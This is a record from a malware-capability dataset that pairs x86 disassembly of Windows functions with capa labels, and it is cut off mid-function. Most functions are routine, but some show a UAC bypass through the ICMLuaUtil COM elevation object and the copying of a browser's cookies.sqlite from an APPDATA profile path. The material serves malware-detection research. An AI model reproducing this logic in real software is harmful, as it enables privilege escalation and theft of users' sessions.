joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ee4a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x559940]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0xc0000001
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp + 0x14]
mov dword [eax], 0
mov ecx, dword [ebp + 0x18]
mov dword [ecx], 0
cmp dword [ebp + 0x1c], 0
jne 0x4ee4ea
call fcn.004edc90
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x20], edx
jmp 0x4ee4f0
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 2
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ntdll.dll_NtQueryValueKey]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xc0000023
jne 0x4ee5ee
mov eax, dword [ebp - 0x10]
push eax
push 8
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4ee5e7
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
push 2
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ntdll.dll_NtQueryValueKey]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x4ee5d5
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 4]
cmp edx, dword [ebp + 0x10]
jne 0x4ee5ce
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 8]
push ecx
push 8
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4ee5c5
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 0x18]
add edx, 0xc
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.004f79b0
add esp, 0xc
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x1c]
mov dword [ecx], edx
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 8]
mov dword [eax], edx
mov dword [ebp - 0x14], 0
jmp 0x4ee5cc
mov dword [ebp - 0x14], 0xc0000017
jmp 0x4ee5d5
mov dword [ebp - 0x14], 0xc0000024
mov eax, dword [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
jmp 0x4ee5ee
mov dword [ebp - 0x14], 0xc0000017
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f49c2
mov esp, ebp
pop ebp
ret
Function at 0x4ee7b0
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x559940]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0xc0000022
mov dword [ebp - 0x10], 0x80004005
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 0
push 0
push 0
push 0
push 0
push 2
call dword [sym.imp.ntdll.dll_RtlCreateHeap]
mov dword [0x5607cc], eax
cmp dword [0x5607cc], 0
jne 0x4ee806
mov eax, 0xc0000001
jmp 0x4ee8d0
call fcn.004ee1b0
test eax, eax
jne 0x4ee825
mov eax, dword [0x5607cc]
push eax
call dword [sym.imp.ntdll.dll_RtlDestroyHeap]
mov eax, 0xc0000001
jmp 0x4ee8d0
push 0
call fcn.004ee050
add esp, 4
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 8]
push ecx
push 0x559758
call fcn.004eded0
add esp, 8
lea edx, [ebp - 0xc]
push edx
push 4
push 0x538a08
push str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
call fcn.004ee6c0
add esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4ee870
jmp 0x4ee8ad
cmp dword [ebp - 0xc], 0
jne 0x4ee87f
mov dword [ebp - 0x10], 0x8007000e
jmp 0x4ee8ad
push 5
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
mov ecx, dword [eax + 0x24]
call ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jl 0x4ee8a9
mov dword [ebp - 0x14], 0
xor edx, edx
jne 0x4ee83c
cmp dword [ebp - 0xc], 0
je 0x4ee8c1
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
call eax
cmp dword [ebp - 0x18], 0
jne 0x4ee8cd
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f49c2
mov esp, ebp
pop ebp
ret
Function at 0x4ee8e0
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x524d14
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x1ec
mov eax, dword [0x559940]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x24]
call fcn.004e9780
mov byte [ebp - 4], 1
push 0x538df2
lea eax, [ebp + 8]
push eax
call fcn.004ae9e0
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x4ee983
push 0x538e18
lea ecx, [ebp - 0xa0]
call fcn.004a4080
mov byte [ebp - 4], 2
lea edx, [ebp - 0xa0]
push edx
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x24]
call fcn.004eec00
lea ecx, [ebp - 0x118]
call fcn.004a4f40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xa0]
call fcn.004a4f40
jmp 0x4ee9a1
lea ecx, [ebp + 8]
push ecx
lea edx, [ebp - 0x130]
push edx
lea ecx, [ebp - 0x24]
call fcn.004eec00
lea ecx, [ebp - 0x130]
call fcn.004a4f40
mov byte [ebp - 4], 3
push str.https:__www.google.com
lea ecx, [ebp - 0xb8]
call fcn.004a4080
mov dword [ebp - 0x78], eax
mov byte [ebp - 4], 4
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xb8]
push ecx
lea edx, [ebp - 0x68]
push edx
call fcn.004dd200
add esp, 0xc
mov dword [ebp - 0x7c], eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb8]
call fcn.004a4f40
push str.https:__www.google.com_search_qadmoboqadmob
lea ecx, [ebp - 0xd0]
call fcn.004a4080
mov dword [ebp - 0x80], eax
mov byte [ebp - 4], 7
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xd0]
push ecx
lea edx, [ebp - 0x174]
push edx
call fcn.004dd200
add esp, 0xc
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x68]
call fcn.004e0e30
lea ecx, [ebp - 0x174]
call fcn.004d47a0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xd0]
call fcn.004a4f40
push str.https:__www.bing.com
lea ecx, [ebp - 0xe8]
call fcn.004a4080
mov dword [ebp - 0x84], eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0xe8]
push edx
lea eax, [ebp - 0x1b8]
push eax
call fcn.004dd200
add esp, 0xc
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x70]
push ecx
lea ecx, [ebp - 0x68]
call fcn.004e0e30
lea ecx, [ebp - 0x1b8]
call fcn.004d47a0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xe8]
call fcn.004a4f40
push str.https:__www.aol.com
lea ecx, [ebp - 0x100]
call fcn.004a4080
mov dword [ebp - 0x88], eax
mov byte [ebp - 4], 9
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1fc]
push ecx
call fcn.004dd200
add esp, 0xc
mov dword [ebp - 0x74], eax
mov edx, dword [ebp - 0x74]
push edx
lea ecx, [ebp - 0x68]
call fcn.004e0e30
lea ecx, [ebp - 0x1fc]
call fcn.004d47a0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x100]
call fcn.004a4f40
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x68]
call fcn.004d47a0
jmp 0x4eeb0d
mov dword [ebp - 4], 1
jmp 0x4eeb1d
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x24]
call fcn.004d4780
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004a4f40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004f49c2
mov esp, ebp
pop ebp
ret
Function at 0x4ef000
Capabilities:
Copy file
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
mov eax, dword [0x559940]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x838], 0x104
push 0x208
push 0
lea eax, [ebp - 0x20c]
push eax
call fcn.004f7f30
add esp, 0xc
nop
push 0x208
push 0
lea ecx, [ebp - 0x61c]
push ecx
call fcn.004f7f30
add esp, 0xc
nop
push 0x104
lea edx, [ebp - 0x20c]
push edx
push str.APPDATA
call fcn.004d60f0
mov eax, dword [eax + 0x68]
call eax
nop
lea ecx, [ebp - 0x20c]
push ecx
push str._9D5OZyyH_aZEIM5SPE5MZyI9.Z1Z
call fcn.004eecf0
add esp, 4
push eax
push 0x104
lea edx, [ebp - 0x824]
push edx
call fcn.004eeca0
add esp, 0x10
nop
lea eax, [ebp - 0x824]
push eax
push 0x208
lea ecx, [ebp - 0x61c]
push ecx
push 0x53945c
push str.Path
push str.3E5MZyIj
call fcn.004eecf0
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
nop
lea edx, [ebp - 0x61c]
push edx
lea eax, [ebp - 0x20c]
push eax
push str._9D5OZyyH_aZEIM5S_9
call fcn.004eecf0
add esp, 4
push eax
push 0x104
lea ecx, [ebp - 0x414]
push ecx
call fcn.004eeca0
add esp, 0x14
nop
lea edx, [ebp - 0x414]
add edx, 0xfffffffe
mov dword [ebp - 0x828], edx
mov eax, dword [ebp - 0x828]
mov cx, word [eax + 2]
mov word [ebp - 0x82e], cx
add dword [ebp - 0x828], 2
cmp word [ebp - 0x82e], 0
jne 0x4ef105
mov edi, dword [ebp - 0x828]
mov ecx, 8
mov esi, 0x5394ec
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x414]
push edx
call fcn.004d60f0
mov eax, dword [eax + 0xb4]
call eax
test eax, eax
jne 0x4ef15b
mov eax, 0xb
jmp 0x4ef1f2
nop
push 0x55edd8
push 0x104
call fcn.004d60f0
mov ecx, dword [eax + 0x14]
call ecx
mov edx, 0x55edd8
add edx, 0xfffffffe
mov dword [ebp - 0x82c], edx
mov eax, dword [ebp - 0x82c]
mov cx, word [eax + 2]
mov word [ebp - 0x830], cx
add dword [ebp - 0x82c], 2
cmp word [ebp - 0x830], 0
jne 0x4ef17e
mov edi, dword [ebp - 0x82c]
mov ecx, 7
mov esi, str.cookies.sqlite
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
nop
push 0
push 0x55edd8
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [ebp - 0x834], eax
mov ecx, 0x82
mov esi, 0x55edd8
mov edi, dword [ebp + 8]
rep movsd dword es:[edi], dword [esi]
cmp dword [ebp - 0x834], 0
je 0x4ef1ed
xor eax, eax
jmp 0x4ef1f2
mov eax, 0xc
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f49c2
mov esp, ebp
pop ebp
ret
Function at 0x4f59a9
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4f59e8
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4f59e8
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4f59e8
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4f59e8
cmp dword [ecx + 0x74], 0xe
jbe 0x4f59e8
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x5079f7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004f52d0
mov eax, dword [0x559940]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00510500
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x507a39
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x507b95
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00520320
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x55fa78]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.005132d8
mov ecx, dword [esi*4 + 0x55fa78]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x507b8e
cmp eax, dword [edi + ecx + 0x24]
jne 0x507b8e
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x507b8e
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.005132d8
add esp, 0x14
test edx, edx
jl 0x507b8e
jg 0x507b04
test eax, eax
jb 0x507b8e
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x507b8e
jl 0x507b1e
cmp dword [ebp - 0x1008], eax
ja 0x507b8e
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x507b3c
test ebx, ebx
je 0x507b75
cmp ecx, edi
jae 0x507b75
mov al, byte [ecx]
cmp al, 0xd
jne 0x507b56
lea eax, [edi - 1]
cmp ecx, eax
jae 0x507b62
cmp byte [ecx + 1], 0xa
jne 0x507b62
inc ecx
jmp 0x507b62
movzx eax, al
movsx eax, byte [eax + 0x559c18]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x507b3c
cmp edx, ebx
jne 0x507b3c
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x507b93
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004f49c2
leave
ret

Function at 0x510cc7
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x53f1b4
push 0x53f1ac
push str.FlsAlloc
push 0x1e
call fcn.00510af4
mov esi, eax
add esp, 0x10
test esi, esi
je 0x510cfb
push dword [ebp + 8]
mov ecx, esi
call dword [0x52c30c]
call esi
jmp 0x510d01
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x510d45
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x53f1c4
push 0x53f1bc
push str.FlsGetValue
push 0x20
call fcn.00510af4
mov esi, eax
add esp, 0x10
test esi, esi
je 0x510d7c
push dword [ebp + 8]
mov ecx, esi
call dword [0x52c30c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x5123e3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x55fa78]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x512423
cmp byte [ebx], 0xa
jne 0x512423
or byte [eax + edi + 0x28], 4
jmp 0x512428
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x512526
mov al, byte [edx]
cmp al, 0x1a
je 0x512508
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x512457
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x51247c
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x512486
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x512439
jmp 0x512526
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x512503
cmp dword [ebp - 0xc], 0
je 0x512503
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x55fa78]
test byte [eax + edi + 0x28], 0x48
je 0x5124dd
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x5124c8
mov byte [esi], dl
jmp 0x5124d9
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x55fa78]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x512526
cmp byte [ebp - 1], 0xa
jne 0x5124ec
cmp esi, ebx
jne 0x5124ec
mov byte [esi], 0xa
jmp 0x512525
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.005132f6
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x512526
mov byte [esi], 0xd
jmp 0x512525
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x55fa78]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x512522
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x512526
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x51252f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x55fa78]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x512572
cmp word [esi], dx
jne 0x512572
or byte [edi + eax + 0x28], 4
jmp 0x512577
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x5126ca
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x5126aa
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x5125b9
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x5125ef
cmp eax, edx
jae 0x5125fb
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x512591
jmp 0x5126ca
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x5126a6
cmp dword [ebp - 0x14], 0
je 0x5126a6
mov eax, dword [ebx*4 + 0x55fa78]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x51267e
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x512647
mov word [esi], cx
jmp 0x51267a
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x55fa78]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x55fa78]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x55fa78]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x5126ca
pop ebx
cmp word [ebp - 4], bx
jne 0x51268f
cmp esi, dword [ebp + 0xc]
jne 0x51268f
mov word [esi], bx
jmp 0x5126c7
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.005132f6
add esp, 0x10
cmp word [ebp - 4], bx
je 0x5126ca
push 0xd
jmp 0x5126c3
mov ecx, dword [ebx*4 + 0x55fa78]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x5126c1
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x5126ca
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x512eeb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00512d5c
Function at 0x516181
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x51621e
push ebx
push esi
call fcn.0051614a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00516093
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x5161cb
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x51621d
push edi
push eax
call fcn.0050f37b
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x5161eb
call fcn.0050f6a7
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x51621c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00516093
add esp, 0x20
test eax, eax
jne 0x51620a
push edi
call fcn.0050f6a7
jmp 0x516212
push ebx
call fcn.0050f6a7
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x516221
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x516232
pop esi
ret
push ebx
push edi
push esi
call fcn.0051614a
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0050f37b
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x51625a
push ebx
push esi
push edi
call fcn.004f79b0
add esp, 0xc
push 0
call fcn.0050f6a7
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x5169a6
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005164cd
Function at 0x51f625
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0051f5a1
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x51f79d
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x51f79d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x51f74c
jg 0x51f67e
test eax, eax
je 0x51f742
push 1
push 0x1000
call fcn.0050f64a
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x51f6a4
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x51f739
push 0x8000
push ebx
call fcn.0050b964
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x51f6d0
jg 0x51f6cb
cmp ecx, 0x1000
jb 0x51f6d0
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00513dc9
add esp, 0x10
cmp eax, 0xffffffff
je 0x51f715
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x51f6cb
jl 0x51f6fc
test ecx, ecx
jne 0x51f6bd
push dword [ebp - 0xc]
push ebx
call fcn.0050b964
push esi
call fcn.0050f6a7
add esp, 0xc
xor edi, edi
jmp 0x51f7ae
cmp byte [edi + 0x24], 0
je 0x51f72c
cmp dword [edi + 0x20], 5
jne 0x51f72c
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x51f737
mov edi, dword [edi + 0x18]
jmp 0x51f739
xor edi, edi
push esi
call fcn.0050f6a7
pop ecx
jmp 0x51f7ae
test ecx, ecx
jg 0x51f70e
jl 0x51f74c
test eax, eax
jae 0x51f70e
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.005132f6
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x51f76f
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x51f70e
jmp 0x51f7a6
push ebx
call fcn.00516f5a
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x51f70e
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x51f7ae
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x51f7ab
mov edi, dword [edi + 0x18]
jmp 0x51f7ae
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.005132f6
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x520240
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x52026d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x52026d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x5262d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x559940]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x536f24
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x5c]
push ecx
call fcn.00506f09
add esp, 0xc
